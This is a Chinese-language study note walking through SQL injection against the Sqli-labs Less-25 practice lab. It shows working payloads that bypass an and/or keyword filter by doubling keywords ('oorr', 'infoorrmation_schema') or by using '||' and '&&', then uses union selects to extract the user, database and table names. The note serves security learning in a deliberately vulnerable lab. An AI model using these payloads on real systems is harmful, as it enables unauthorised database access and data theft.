声明:
由于笔者能力有限,难免出现各种错误和漏洞。全文仅作为个人笔记,仅供参考。
笔记内容来源于各类网课。
环境:
以Sqli-labs中的less25为实验环境。
一、概述
绕过对and/or的过滤。
二、实验(基于GET类型的注入-检测and/or)
1. 使用GET方式传入参数
使用id=1,页面随着发生变化。
2. 测试语句能否报错
?id=1'
?id=1'2"3
可以看到报错错误,我们根据报错语句,可以推测出是字符串注入(单引号闭合)。
3. 测试语句能否恶意执行(能不报错)
?id=1' or 1 --+
使用上述语句,按道理不会报错,会返回正确的页面。
我们使用下面语句,将or前后的语句爆出来。
?id=1'2" or 1 --+
可以发现or被替换为空了。这里是对or有检测,检测到or全部替换为空。
我再试一下and。
?id=1'2" and 1 --+
and依然被替换。
4. 绕过or/and过滤
可以有以下几个思路。
- 如果后端是进行一次检测、替换,使用字母双写绕过。or写成oorr,系统检测到or后,将里里面的or替换为空,由于只是检测一次,外面的o和r连接到一起,变成了or。and同理,使用anandd。
- 如果后端检测不严格,没有对OR,Or,oR,And,ANd,AND,aND,adD,aNd进行检测,使用上述字符即可绕过,但是再SQL中可以执行,SQL对字母大小写不敏感。
- 可以使用or和and的其他形式,or写出||,and写成&&,如果后端没检测||和&&就可以绕过。
我们依次尝试。
字母双写。
?id=-1' oorr 1 --+
字母双写成功绕过。
大小写绕过。
?id=-1'2“ Or 1 --+
大小写绕过失败,Or依然被替换为空。
or/and的其他形式。
?id=-1' || 1 --+
or/and的其他形式成功绕过。
5. 判断当前页面使用的字段数和回显点
我们使用双写方式。
?id=-1' order by 1 --+
这里报错,也是由于order中含有了or,所有被替换为空,导致关键字错误。
所以,后面出现or都需要双写。例如information_schema的or也是需要双写。
?id=-1' oorrder by 3 --+
?id=-1' oorrder by 4 --+
不使用order by,我们也可以使用union select 1,2...来判断,同时也能判断回显位置。
?id=-1' union select 1,2,3 --+
得到回显点位置。
6. 获取当前的数据名,用户名
?id=-1' union select 1,user(),database() --+
7. 获取当前数据库的表名
?id=-1' union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema=database() --+
注意其中的information的or要双写为infoorrmation。
8.后续步骤
后续步骤参考这个链接。